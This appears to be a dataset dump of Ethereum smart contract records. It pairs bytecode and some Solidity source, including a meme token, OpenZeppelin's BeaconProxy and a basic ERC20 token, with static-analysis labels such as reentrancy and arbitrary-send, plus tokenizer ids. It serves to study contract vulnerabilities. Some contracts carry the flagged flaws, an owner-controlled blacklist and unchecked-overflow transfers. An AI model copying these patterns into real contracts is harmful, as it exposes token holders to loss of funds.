0x60806040526004361061014f5760003560e01c80638da5cb5b116100b6578063c274ebee1161006f578063c274ebee146103d0578063c3c8cd80146103e6578063c9567bf9146103fb578063dd62ed3e14610410578063e6aa397c14610456578063ff8726021461047657600080fd5b80638da5cb5b1461030157806395d89b4114610329578063a4199e1d1461035a578063a9059cbb14610370578063b515566a14610390578063bb6b2b54146103b057600080fd5b8063313ce56711610108578063313ce5671461025b5780635932ead1146102775780636fc3eaec1461029757806370a08231146102ac57806371201f65146102cc578063715018a6146102ec57600080fd5b806306fdde031461015b578063095ea7b3146101a357806318160ddd146101d357806323b872dd146101f9578063273123b71461021957806327f40ce11461023b57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152600d81526c4c6974746c654b696261496e7560981b60208201525b60405161019a9190611a98565b60405180910390f35b3480156101af57600080fd5b506101c36101be36600461191f565b61048b565b604051901515815260200161019a565b3480156101df57600080fd5b50683635c9adc5dea000005b60405190815260200161019a565b34801561020557600080fd5b506101c36102143660046118de565b6104a2565b34801561022557600080fd5b5061023961023436600461186b565b61050b565b005b34801561024757600080fd5b50610239610256366004611a51565b61055f565b34801561026757600080fd5b506040516009815260200161019a565b34801561028357600080fd5b50610239610292366004611a17565b6105ec565b3480156102a357600080fd5b50610239610634565b3480156102b857600080fd5b506101eb6102c736600461186b565b610661565b3480156102d857600080fd5b506102396102e736600461186b565b610683565b3480156102f857600080fd5b506102396106e7565b34801561030d57600080fd5b506000546040516001600160a01b03909116815260200161019a565b34801561033557600080fd5b50604080518082019091526008815267244c494c4b49424160c01b602082015261018d565b34801561036657600080fd5b506101eb600a5481565b34801561037c57600080fd5b506101c361038b36600461191f565b61075b565b34801561039c57600080fd5b506102396103ab36600461194b565b610768565b3480156103bc57600080fd5b506102396103cb366004611a51565b6107fe565b3480156103dc57600080fd5b506101eb600b5481565b3480156103f257600080fd5b5061023961088b565b34801561040757600080fd5b506102396108c1565b34801561041c57600080fd5b506101eb61042b3660046118a5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561046257600080fd5b5061023961047136600461186b565b610c84565b34801561048257600080fd5b50610239610ce8565b6000610498338484610d21565b5060015b92915050565b60006104af848484610e45565b61050184336104fc85604051806060016040528060288152602001611c84602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190611128565b610d21565b5060019392505050565b6000546001600160a01b0316331461053e5760405162461bcd60e51b815260040161053590611aed565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b031633146105895760405162461bcd60e51b815260040161053590611aed565b6001811015801561059b575060198111155b6105e75760405162461bcd60e51b815260206004820152601c60248201527f66656541646472312073686f756c6420626520696e2031202d203235000000006044820152606401610535565b600a55565b6000546001600160a01b031633146106165760405162461bcd60e51b815260040161053590611aed565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461065457600080fd5b4761065e81611162565b50565b6001600160a01b03811660009081526002602052604081205461049c906111e7565b6000546001600160a01b031633146106ad5760405162461bcd60e51b815260040161053590611aed565b600d80546001600160a01b039092166001600160a01b0319909216821790556000908152600560205260409020805460ff19166001179055565b6000546001600160a01b031633146107115760405162461bcd60e51b815260040161053590611aed565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000610498338484610e45565b6000546001600160a01b031633146107925760405162461bcd60e51b815260040161053590611aed565b60005b81518110156107fa576001600660008484815181106107b6576107b6611c34565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806107f281611c03565b915050610795565b5050565b6000546001600160a01b031633146108285760405162461bcd60e51b815260040161053590611aed565b6001811015801561083a575060198111155b6108865760405162461bcd60e51b815260206004820152601c60248201527f66656541646472322073686f756c6420626520696e2031202d203235000000006044820152606401610535565b600b55565b600c546001600160a01b0316336001600160a01b0316146108ab57600080fd5b60006108b630610661565b905061065e8161126b565b6000546001600160a01b031633146108eb5760405162461bcd60e51b815260040161053590611aed565b600f54600160a01b900460ff16156109455760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610535565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109823082683635c9adc5dea00000610d21565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156109bb57600080fd5b505afa1580156109cf573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109f39190611888565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a3b57600080fd5b505afa158015610a4f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a739190611888565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610abb57600080fd5b505af1158015610acf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610af39190611888565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d7194730610b2381610661565b600080610b386000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610b9b57600080fd5b505af1158015610baf573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610bd49190611a6a565b5050600f8054678ac7230489e8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610c4c57600080fd5b505af1158015610c60573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107fa9190611a34565b6000546001600160a01b03163314610cae5760405162461bcd60e51b815260040161053590611aed565b600c80546001600160a01b039092166001600160a01b0319909216821790556000908152600560205260409020805460ff19166001179055565b6000546001600160a01b03163314610d125760405162461bcd60e51b815260040161053590611aed565b683635c9adc5dea00000601055565b6001600160a01b038316610d835760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610535565b6001600160a01b038216610de45760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610535565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ea95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610535565b6001600160a01b038216610f0b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610535565b60008111610f6d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610535565b6000546001600160a01b03848116911614801590610f9957506000546001600160a01b03838116911614155b15611118576001600160a01b03831660009081526006602052604090205460ff16158015610fe057506001600160a01b03821660009081526006602052604090205460ff16155b610fe957600080fd5b600f546001600160a01b0384811691161480156110145750600e546001600160a01b03838116911614155b801561103957506001600160a01b03821660009081526005602052604090205460ff16155b801561104e5750600f54600160b81b900460ff165b156110ab5760105481111561106257600080fd5b6001600160a01b038216600090815260076020526040902054421161108657600080fd5b61109142600f611b93565b6001600160a01b0383166000908152600760205260409020555b60006110b630610661565b600f54909150600160a81b900460ff161580156110e15750600f546001600160a01b03858116911614155b80156110f65750600f54600160b01b900460ff165b15611116576111048161126b565b4780156111145761111447611162565b505b505b6111238383836113f4565b505050565b6000818484111561114c5760405162461bcd60e51b81526004016105359190611a98565b5060006111598486611bec565b95945050505050565b600c546001600160a01b03166108fc61117c8360026113ff565b6040518115909202916000818181858888f193505050501580156111a4573d6000803e3d6000fd5b50600d546001600160a01b03166108fc6111bf8360026113ff565b6040518115909202916000818181858888f193505050501580156107fa573d6000803e3d6000fd5b600060085482111561124e5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610535565b6000611258611441565b905061126483826113ff565b9392505050565b600f805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112b3576112b3611c34565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561130757600080fd5b505afa15801561131b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061133f9190611888565b8160018151811061135257611352611c34565b6001600160a01b039283166020918202929092010152600e546113789130911684610d21565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac947906113b1908590600090869030904290600401611b22565b600060405180830381600087803b1580156113cb57600080fd5b505af11580156113df573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b611123838383611464565b600061126483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061155b565b600080600061144e611589565b909250905061145d82826113ff565b9250505090565b600080600080600080611476876115cb565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506114a89087611628565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546114d7908661166a565b6001600160a01b0389166000908152600260205260409020556114f9816116c9565b6115038483611713565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161154891815260200190565b60405180910390a3505050505050505050565b6000818361157c5760405162461bcd60e51b81526004016105359190611a98565b5060006111598486611bab565b6008546000908190683635c9adc5dea000006115a582826113ff565b8210156115c257505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006115e88a600a54600b54611737565b92509250925060006115f8611441565b9050600080600061160b8e87878761178c565b919e509c509a509598509396509194505050505091939550919395565b600061126483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611128565b6000806116778385611b93565b9050838110156112645760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610535565b60006116d3611441565b905060006116e183836117dc565b306000908152600260205260409020549091506116fe908261166a565b30600090815260026020526040902055505050565b6008546117209083611628565b600855600954611730908261166a565b6009555050565b6000808080611751606461174b89896117dc565b906113ff565b90506000611764606461174b8a896117dc565b9050600061177c826117768b86611628565b90611628565b9992985090965090945050505050565b600080808061179b88866117dc565b905060006117a988876117dc565b905060006117b788886117dc565b905060006117c9826117768686611628565b939b939a50919850919650505050505050565b6000826117eb5750600061049c565b60006117f78385611bcd565b9050826118048583611bab565b146112645760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610535565b803561186681611c60565b919050565b60006020828403121561187d57600080fd5b813561126481611c60565b60006020828403121561189a57600080fd5b815161126481611c60565b600080604083850312156118b857600080fd5b82356118c381611c60565b915060208301356118d381611c60565b809150509250929050565b6000806000606084860312156118f357600080fd5b83356118fe81611c60565b9250602084013561190e81611c60565b929592945050506040919091013590565b6000806040838503121561193257600080fd5b823561193d81611c60565b946020939093013593505050565b6000602080838503121561195e57600080fd5b823567ffffffffffffffff8082111561197657600080fd5b818501915085601f83011261198a57600080fd5b81358181111561199c5761199c611c4a565b8060051b604051601f19603f830116810181811085821117156119c1576119c1611c4a565b604052828152858101935084860182860187018a10156119e057600080fd5b600095505b83861015611a0a576119f68161185b565b8552600195909501949386019386016119e5565b5098975050505050505050565b600060208284031215611a2957600080fd5b813561126481611c75565b600060208284031215611a4657600080fd5b815161126481611c75565b600060208284031215611a6357600080fd5b5035919050565b600080600060608486031215611a7f57600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b81811015611ac557858101830151858201604001528201611aa9565b81811115611ad7576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611b725784516001600160a01b031683529383019391830191600101611b4d565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611ba657611ba6611c1e565b500190565b600082611bc857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611be757611be7611c1e565b500290565b600082821015611bfe57611bfe611c1e565b500390565b6000600019821415611c1757611c17611c1e565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461065e57600080fd5b801515811461065e57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212207cb4176a0bf15c1f3a98e743c9a6e8d5c15b5ff6ff1e08309783619be097971064736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'reentrancy-eth', 'impact': 'High', 'confidence': 'Medium'}, {'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}, {'check': 'arbitrary-send', 'impact': 'High', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 2683, 2063, 22394, 2575, 4215, 2575, 2509, 2497, 2692, 7875, 4246, 2692, 11329, 2575, 2581, 4215, 22907, 2546, 2581, 20952, 17134, 2094, 2629, 11329, 2063, 2575, 2509, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 4895, 13231, 27730, 1013, 1008, 1008, 2210, 3211, 29148, 2226, 1006, 1002, 13451, 3211, 3676, 1007, 2561, 4425, 1024, 1015, 23458, 4189, 4888, 2340, 1013, 2656, 1008, 1013, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1018, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 1065, 8278, 29464, 11890, 11387, 1063, 3853, 21948, 6279, 22086, 1006, 1007, 6327, 3193, 5651, 1006, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,146
0x964a35a15506A2770A0827CD8B84B48A0698618E
// SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./Proxy.sol"; import "../utils/Address.sol"; import "./IBeacon.sol"; /** * @dev This contract implements a proxy that gets the implementation address for each call from a {UpgradeableBeacon}. * * The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't * conflict with the storage layout of the implementation behind the proxy. * * _Available since v3.4._ */ contract BeaconProxy is Proxy { /** * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy. * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor. */ bytes32 private constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50; /** * @dev Initializes the proxy with `beacon`. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This * will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity * constructor. * * Requirements: * * - `beacon` must be a contract with the interface {IBeacon}. */ constructor(address beacon, bytes memory data) payable { assert(_BEACON_SLOT == bytes32(uint256(keccak256("eip1967.proxy.beacon")) - 1)); _setBeacon(beacon, data); } /** * @dev Returns the current beacon address. */ function _beacon() internal view virtual returns (address beacon) { bytes32 slot = _BEACON_SLOT; // solhint-disable-next-line no-inline-assembly assembly { beacon := sload(slot) } } /** * @dev Returns the current implementation address of the associated beacon. */ function _implementation() internal view virtual override returns (address) { return IBeacon(_beacon()).implementation(); } /** * @dev Changes the proxy to use a new beacon. * * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. * * Requirements: * * - `beacon` must be a contract. * - The implementation returned by `beacon` must be a contract. */ function _setBeacon(address beacon, bytes memory data) internal virtual { require( Address.isContract(beacon), "BeaconProxy: beacon is not a contract" ); require( Address.isContract(IBeacon(beacon).implementation()), "BeaconProxy: beacon implementation is not a contract" ); bytes32 slot = _BEACON_SLOT; // solhint-disable-next-line no-inline-assembly assembly { sstore(slot, beacon) } if (data.length > 0) { Address.functionDelegateCall(_implementation(), data, "BeaconProxy: function call failed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { // solhint-disable-next-line no-inline-assembly assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback () external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive () external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual { } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev This is the interface that {BeaconProxy} expects of its beacon. */ interface IBeacon { /** * @dev Must return an address that can be used as a delegate call target. * * {BeaconProxy} will check that this address is a contract. */ function implementation() external view returns (address); }
0x60806040523661001357610011610017565b005b6100115b61001f61002f565b61002f61002a61013b565b6101ae565b565b3b151590565b606061004284610031565b61007d5760405162461bcd60e51b815260040180806020018281038252602681526020018061029c6026913960400191505060405180910390fd5b600080856001600160a01b0316856040518082805190602001908083835b602083106100ba5780518252601f19909201916020918201910161009b565b6001836020036101000a038019825116818451168082178552505050505050905001915050600060405180830381855af49150503d806000811461011a576040519150601f19603f3d011682016040523d82523d6000602084013e61011f565b606091505b509150915061012f8282866101d2565b925050505b9392505050565b6000610145610276565b6001600160a01b0316635c60da1b6040518163ffffffff1660e01b815260040160206040518083038186803b15801561017d57600080fd5b505afa158015610191573d6000803e3d6000fd5b505050506040513d60208110156101a757600080fd5b5051905090565b3660008037600080366000845af43d6000803e8080156101cd573d6000f35b3d6000fd5b606083156101e1575081610134565b8251156101f15782518084602001fd5b8160405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561023b578181015183820152602001610223565b50505050905090810190601f1680156102685780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b7fa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50549056fe416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6e7472616374a2646970667358221220e6a93190d004851805da07a125f8a3be19eefa07d2b89e683fcf92e8d340543764736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'unused-return', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 21084, 2050, 19481, 27717, 24087, 2692, 2575, 2050, 22907, 19841, 2050, 2692, 2620, 22907, 19797, 2620, 2497, 2620, 2549, 2497, 18139, 2050, 2692, 2575, 2683, 20842, 15136, 2063, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 10975, 8490, 2863, 5024, 3012, 1028, 1027, 1014, 1012, 1020, 1012, 1014, 1026, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 24540, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 4769, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1013, 21307, 5243, 8663, 1012, 14017, 1000, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 2023, 3206, 22164, 1037, 24540, 2008, 4152, 1996, 7375, 4769, 2005, 2169, 2655, 2013, 1037, 1063, 12200, 3085, 4783, 22684, 2078, 1065, 1012, 1008, 1008, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,147
0x964a6a023bedb7325ce5a322fb78221c593f87f7
pragma solidity ^0.4.16; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function 